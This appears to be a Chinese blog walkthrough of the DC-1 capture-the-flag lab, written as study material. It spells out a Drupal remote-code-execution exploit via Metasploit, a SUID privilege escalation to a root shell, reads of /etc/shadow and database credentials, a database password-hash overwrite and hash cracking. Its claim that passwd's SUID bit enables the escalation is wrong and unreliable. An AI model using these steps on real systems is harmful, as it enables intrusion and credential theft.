news 2026/10/16 13:18:42

Kali 2023 与 DC-1 靶机环境搭建及渗透实战指南

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Kali 2023 与 DC-1 靶机环境搭建及渗透实战指南

简介:这份资源是面向网络安全初学者与CTF入门者的实操型教程,围绕Vulnhub的DC-1靶机展开,帮助读者在真实环境中理解渗透测试的基本流程与攻防思路。内容覆盖环境搭建、主机发现、端口扫描、Drupal漏洞利用、SUID提权、MySQL数据库交互以及密码破解等环节,并完整演示攻破5个flag的全过程,适合作为课程实验或自学练习的参考材料。资源包共1个PDF文件,大小约1.82MB,以图文步骤形式记录关键命令与操作结果,便于对照复现和整理笔记。目前已有1418人学习下载,读者可从中获得从信息收集到权限提升的完整思路,掌握find查找SUID文件、Metasploit利用、反弹shell、John the Ripper破解等实用技能,并理解配置文件与数据库在夺旗场景中的价值。

1. 从一台不给你密码的靶机说起:Kali 2023 + DC-1 环境搭建

很多人第一次接触网络安全夺旗,卡住的地方不是漏洞利用本身,而是环境根本跑不起来。靶机导入后黑屏、Kali 扫不到靶机 IP、桥接模式配完两边不在一个网段——这些看起来不起眼的问题,能让人在第一步就耗掉一整个下午。这篇安装笔记记录的是我反复搭过多次的一套环境:Kali 2023 作为渗透机,DC-1 靶机作为攻击目标,目标是拿到 5 个 flag。整套流程从下载安装到最终验证跑通,每一步命令都手工敲过。如果你正在搜「Kali 怎么安装」「DC-1 靶机怎么配置」「网络安全靶机环境搭建」,这篇可以照着走。装好之后,你会得到一个完全可控的本地实验环境,不依赖任何外部服务,随时可以重来。

2. 环境准备:Kali 2023 与 DC-1 靶机的安装与网络配置

2.1 Kali 2023 的获取与虚拟机导入

Kali 的安装方式有好几种,可以直接装物理机,也可以用虚拟机镜像。我一般推荐用虚拟机版本,因为渗透测试过程中经常需要快照回滚,物理机装完想恢复就麻烦了。下载地址在 Kali 官网的 Get Kali 页面,找到虚拟机版本下载即可。2023 版和之前的版本在桌面环境上有一些变化,默认用的是 Xfce,资源占用比 GNOME 低不少,跑在虚拟机里更流畅。

下载完成后,如果你用的是 VMware,直接打开.vmx文件就能导入。导入后先别急着开机,检查几个关键配置:

# 查看 Kali 虚拟机网络适配器设置(在 VMware 界面操作) # 建议设置为桥接模式(Bridged),不要用 NAT # 桥接模式下 Kali 和靶机会获得与物理机同网段的 IP

桥接模式的选择很关键。NAT 模式下 Kali 在一个独立子网里,靶机如果也是 NAT,两者可能互相看不见。桥接模式让 Kali 和靶机都从物理网络的路由器获取 IP,保证在同一网段。这一步如果配错,后面arp-scan扫不到靶机,你会以为是命令问题,其实是网络模式的问题。

2.2 DC-1 靶机的下载与导入

DC-1 是 Vulnhub 平台上比较经典的入门靶机,官方说明里有 5 个 flag 需要攻破。下载地址在 Vulnhub 的 DC-1 条目页面,下载后得到一个虚拟机文件包。解压后双击.vmx文件导入 VMware 即可。

导入后同样要检查网络适配器,确保也是桥接模式。另外注意一点:DC-1 默认不提供用户名和密码,这是故意的,需要你自己通过渗透手段获取。开机后如果看到登录界面,不用慌,这是正常的。

# 靶机开机后,在 Kali 中确认两台机器是否在同一网段 # 先查看 Kali 自己的 IP ip addr show # 假设 Kali 的 IP 是 192.168.1.x,靶机应该也是 192.168.1.x

如果 Kali 和靶机不在同一网段,检查 VMware 的虚拟网络编辑器,确认桥接模式绑定到了正确的物理网卡。有时候笔记本同时有有线和无线网卡,桥接绑错了网卡就会导致不通。

2.3 网络连通性验证与主机发现

两台机器都开机后,第一步是确认它们能互相通信。在 Kali 终端里执行:

# 扫描局域网内存活的主机 sudo arp-scan -l

这条命令会列出当前网段所有活跃设备的 IP 和 MAC 地址。输出里你会看到物理机、路由器、Kali 自己和靶机。靶机的 IP 通常可以通过 MAC 地址前缀判断,VMware 虚拟机的 MAC 地址一般以00:0c:29开头。假设扫出来靶机 IP 是192.168.1.155,先 ping 一下确认连通:

# 确认与靶机的连通性 ping -c 4 192.168.1.155

如果 ping 不通,先检查靶机是否完全开机(DC-1 启动需要一点时间),再检查两边防火墙状态。Kali 默认没有严格防火墙规则,问题一般出在网络模式上。

提示:如果arp-scan提示命令不存在,执行sudo apt install arp-scan安装即可。Kali 2023 默认可能没有预装这个工具。

3. 信息收集与漏洞利用:从端口扫描到 flag1

3.1 使用 nmap 扫描靶机开放端口

确认靶机 IP 后,下一步是看它开了哪些服务。nmap 是渗透测试里最常用的端口扫描工具,Kali 默认自带。

# 对靶机进行端口扫描 nmap 192.168.1.155

输出显示 22、80、111 端口开放。22 是 SSH,80 是 HTTP,111 是 rpcbind。80 端口有 HTTP 服务,说明靶机上跑着一个网站。打开 Kali 的浏览器,访问http://192.168.1.155,你会看到一个 Drupal 搭建的网站,有登录界面。

Drupal 是一个开源 CMS,历史上出过不少高危漏洞。看到 Drupal,第一反应应该是查版本、找对应的漏洞利用模块。在网页源码或者页脚通常能看到版本信息,不过这里我们直接用 Metasploit 来搜。

3.2 Metasploit 搜索 Drupal 漏洞模块

Metasploit 是 Kali 自带的渗透测试框架,集成了大量漏洞利用模块。启动它:

# 启动 Metasploit 控制台 msfconsole

启动后搜索 Drupal 相关模块:

# 搜索 Drupal 漏洞利用模块 search drupal

输出里会列出多个模块,其中有一个drupal_drupalgeddon2是 Drupal 7 的远程代码执行漏洞,利用起来比较直接。选择对应编号的模块:

# 使用搜索到的模块(编号以实际输出为准) use 1

进入模块后,查看需要配置哪些参数:

# 查看模块需要配置的选项 show options

必须设置的是RHOSTS,也就是目标 IP:

# 设置靶机 IP set rhosts 192.168.1.155

配置完成后执行:

# 执行漏洞利用 exploit

等待几秒钟,如果成功,你会看到 Metasploit 建立了一个会话。执行shell进入目标系统的 shell,然后ls查看当前目录,应该能看到flag1.txt。

# 进入 shell 并查看文件 shell ls cat flag1.txt

flag1 的内容提示你去找一个配置文件。这个提示指向的是 Drupal 的settings.php,里面通常包含数据库连接信息。

3.3 反弹交互式 shell 与 SUID 提权

Metasploit 拿到的 shell 功能有限,不支持交互式操作。先反弹一个完整的 PTY shell:

# 反弹交互式 shell python -c 'import pty;pty.spawn("/bin/sh")'

执行whoami确认当前用户,通常不是 root。接下来需要提权。SUID 提权是 Linux 提权里最基础也最常考的一种。SUID 权限的文件在执行时会以文件所有者的权限运行,如果所有者是 root,那就相当于以 root 权限执行。

# 查找所有 SUID 权限的文件 find / -perm -u=s -type f 2>/dev/null

输出会列出很多文件。其中/usr/bin/passwd是常见的 SUID 文件。如果它被错误配置,可以直接利用:

# 进入 passwd 所在目录 cd /usr/bin # 利用 passwd 的 SUID 权限获取 root shell find passwd -exec '/bin/sh' \;

执行后提示符从$变成#,说明提权成功。这一步的原理是find命令的-exec参数会以 SUID 文件的权限执行后面的命令,而passwd有 SUID 位且属于 root,所以/bin/sh就以 root 身份运行了。

注意:实际环境中 SUID 提权需要具体看哪些文件有 SUID 位且能被利用。passwd只是 DC-1 靶机里的一个例子,真实场景中更常见的是nmap、vim、find等被错误赋予 SUID 权限的程序。

4. 配置文件挖掘与数据库利用:flag2 和 flag3

4.1 从 settings.php 中提取数据库凭据

flag1 提示找配置文件,Drupal 的核心配置文件在/var/www/html/sites/default/settings.php。用 root 权限查看:

# 查看 Drupal 配置文件 cat /var/www/html/sites/default/settings.php

在文件里搜索flag关键字,能找到 flag2。同时你会看到数据库连接信息,包括数据库名、用户名和密码。DC-1 靶机里这些信息是明文存储的,用户名和密码都是dbuser之类的简单字符串。

拿到数据库凭据后,直接登录 MySQL:

# 登录 MySQL 数据库 mysql -u dbuser -p

输入密码后进入 MySQL 命令行。查看数据库列表,找到 Drupal 的库,然后查用户表:

-- 查看数据库 show databases; -- 切换到 Drupal 数据库 use drupal; -- 查看所有表 show tables; -- 查询用户表 select * from users;

用户表里能看到admin用户,密码字段是加密的哈希值。直接破解哈希可能比较耗时,但我们可以换个思路:用 Drupal 自带的密码哈希脚本生成一个新密码的哈希,然后直接更新数据库。

4.2 利用 password-hash.sh 重置 admin 密码

Drupal 的安装目录下有一个密码哈希生成脚本:

# 查找 hash 相关脚本 find / -name '*hash*'

在/var/www/scripts目录下找到password-hash.sh。用它生成123456的哈希:

# 生成密码哈希 php scripts/password-hash.sh 123456

输出会显示类似$S$D...的哈希字符串。复制这个哈希,回到 MySQL 更新 admin 用户的密码:

-- 更新 admin 密码 update users set pass = '$S$D...' where name = 'admin';

更新完成后,用admin/123456登录网站。登录后在内容管理或者仪表盘里能找到 flag3。

提示:这一步的关键是 Drupal 的密码哈希脚本可以直接调用,不需要自己实现加密算法。实际渗透中如果遇到其他 CMS,思路类似——找到密码哈希的生成方式,然后替换数据库里的哈希值。

4.3 从 /etc/shadow 中提取 flag4 用户

拿到网站后台权限后,继续在系统层面挖掘。查看系统用户文件:

# 查看 shadow 文件 cat /etc/shadow

在文件里发现一个用户名叫flag4,密码字段是加密的。这个用户名本身就是 flag4 的一部分,但还需要破解密码才能登录。破解哈希可以用 John the Ripper 或者 hydra,这里我们用 John。

5. 密码破解与最终提权:flag4 和 thefinalflag

5.1 编译安装 John the Ripper

John the Ripper 是一个经典的密码破解工具,Kali 里可能自带,但版本不一定合适。我一般会从源码编译一个稳定版本:

# 下载源码包 wget http://www.openwall.com/john/j/john-1.8.0.tar.gz # 解压 tar -xvf john-1.8.0.tar.gz # 进入源码目录 cd john-1.8.0/src # 编译(根据系统架构选择) make clean linux-x86-64

编译完成后,可执行文件在../run/目录下。把/etc/shadow里 flag4 用户的那一行复制到一个新文件shadow.txt里:

# 创建待破解文件 echo 'flag4:$6$...:...' > shadow.txt # 执行破解 ./john shadow.txt

John 会自动识别哈希类型并加载字典进行破解。DC-1 靶机的密码比较简单,几秒钟就能出结果。破解出来的密码是orange。

5.2 SSH 登录 flag4 并查找最终 flag

拿到 flag4 的密码后,直接用 SSH 登录靶机:

# SSH 登录 ssh flag4@192.168.1.155

输入密码orange后登录成功。查看当前目录:

# 查看 flag4 目录内容 ls cat flag4.txt

flag4.txt 的内容提示:你能用同样的方式在 root 中找到 flag 么?意思是要提权到 root,然后去 root 目录找最终 flag。再次利用 SUID 提权:

# 查找 SUID 文件并提权 find /usr/bin/passwd -exec '/bin/sh' \; # 进入 root 目录 cd /root ls cat thefinalflag.txt

最终 flag 的内容大致是祝贺你完成了挑战。至此 5 个 flag 全部拿到。

5.3 常见问题与排查记录

现象:arp-scan 扫不到靶机 IP。原因:Kali 或靶机的网络模式不是桥接,或者桥接绑定了错误的物理网卡。 解决:在 VMware 虚拟网络编辑器里确认桥接模式绑定到当前活跃的物理网卡,重启两台虚拟机的网络。

现象:Metasploit 利用 Drupal 漏洞后没有返回会话。原因:靶机上的 Drupal 版本与模块不匹配,或者靶机服务未完全启动。 解决:先用nmap -sV 192.168.1.155确认 Drupal 版本,再选择对应模块。DC-1 靶机启动后需要等 1-2 分钟服务才完全就绪。

现象:SUID 提权时find passwd -exec '/bin/sh' \;没有反应。原因:当前目录不对,或者passwd文件没有 SUID 位。 解决:先cd /usr/bin,再用ls -la passwd确认权限位里有s。如果没有 SUID 位,换其他文件尝试。

现象:John 破解 shadow 文件时报错「No password hashes loaded」。原因:shadow.txt 文件格式不对,或者哈希类型不被当前 John 版本支持。 解决:确认 shadow.txt 里每行格式为用户名:哈希:...,不要有多余空格或换行。如果还是不行,尝试用--format=sha512crypt指定格式。

现象:MySQL 登录时提示 Access denied。原因:settings.php 里的数据库凭据可能不是当前有效的,或者 MySQL 只允许本地登录。 解决:确认 settings.php 里的用户名密码,如果 MySQL 限制了登录来源,可以尝试在靶机本地用mysql -u dbuser -p登录。

6. 装完怎么验证:5 个 flag 的完整回收与检查清单

环境搭好、流程跑通之后,怎么确认自己真的拿全了 5 个 flag?我一般会按下面的清单逐项核对,避免漏掉某个环节还以为自己完成了。

Flag 编号获取位置关键命令验证方式
flag1/var/www/htmlcat flag1.txt文件内容提示找配置文件
flag2settings.phpcat settings.php文件内包含 flag 字符串
flag3网站后台浏览器登录 admin仪表盘或内容页可见
flag4/etc/shadowcat /etc/shadow用户名 flag4 即为 flag
thefinalflag/rootcat thefinalflag.txt最终祝贺信息

验证流程建议按顺序走一遍:先用arp-scan确认靶机在线,再用nmap确认端口开放,然后从 flag1 开始逐个获取。每拿到一个 flag,记录下获取路径和使用的命令。如果中间某一步卡住,回退到上一步确认环境状态。

一个容易忽略的检查点是:提权后whoami是否真的返回root。有时候find命令执行了但 shell 没有正确继承权限,提示符变了但实际用户没变。执行id命令确认 uid=0 才算真正提权成功。

另外,DC-1 靶机可以重复利用。每次实验完可以拍个快照,下次直接从快照恢复,不用重新导入。Kali 那边也建议在环境配好后拍快照,避免每次重装工具。

从那以后我每次搭靶机环境,都会先拍快照再动手,拿到第一个 flag 之前一定先确认arp-scan和nmap的结果对得上。这套习惯帮我省了很多次重装的时间。希望帮到你。

本文还有配套的精品资源,点击获取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/16 13:17:27

Python+PyQt5打造透明桌面宠物:状态机交互与动画实现

简介:智能桌面宠物完整资料包面向电子爱好者、硬件创客与人工智能交互学习者,覆盖电路板设计、物料清单、代码烧录、串口调试和语音配置等完整制作环节。包内共八十二个文件、约四十八兆字节,包括表情位图、说明文档、可直接烧录的十六进制与…

作者头像 李华
网站建设 2026/10/16 13:17:04

助老志愿管理平台开发实战:Spring Boot+Vue全栈设计

1. 内容整体设计与需求拆解接手这样一个助老志愿管理平台时,我首先关注的不是代码,而是需求本身。社区助老这个场景,核心痛点往往不是“功能不够多”,而是“信息不对称”和“服务过程不可控”。老人有需求不知道找谁,志…

作者头像 李华
网站建设 2026/10/16 13:16:00

春节远程办公与游戏指南:ToDesk从配置到实操全解析

每年春节回老家之前,我都要花十分钟做一件事:把工位电脑和家里电脑都打开,确认远程控制软件处于待机状态。这不是什么仪式感,是真的被“假期临时要改文件”和“想玩自己电脑上的游戏”这两件事反复教育过。尤其最近两年&#xff0…

作者头像 李华
网站建设 2026/10/16 13:15:14

JCache缓存驱逐与过期:本质区别与工程实践解析

高级Java每日一道面试题:JCache(JSR-107)中缓存驱逐与缓存过期的本质区别说实话,这个问题我面试别人问过,被别人面的时候也被问过。2025年了,Java后端面试还是绕不开缓存三件套:缓存穿透、缓存击…

作者头像 李华
网站建设 2026/10/16 13:13:53

从零搭建论文记录体系:命名规范、元数据与检索复用实践

1. 从零搭建一套能扛住三年的论文记录体系很多人第一次听到“论文记录”这四个字,脑子里浮现的就是一个文件夹,里面塞满了一堆命名混乱的PDF,时间一长连自己都忘了哪篇读过、哪篇没读、哪篇的结论能用在当前项目里。我见过太多人把文献管理等…

作者头像 李华
网站建设 2026/10/16 13:13:27

上下文工程实战:如何组织输入让大模型输出质量翻倍

1. 为什么“喂给AI什么”比“用哪个AI”更值得花时间大多数人第一次接触大模型时,注意力都放在“选哪个模型”上——参数多大、跑分多高、价格多便宜。但真正上手做过几个项目之后你会发现,同一个模型,换一种上下文组织方式,输出质…

作者头像 李华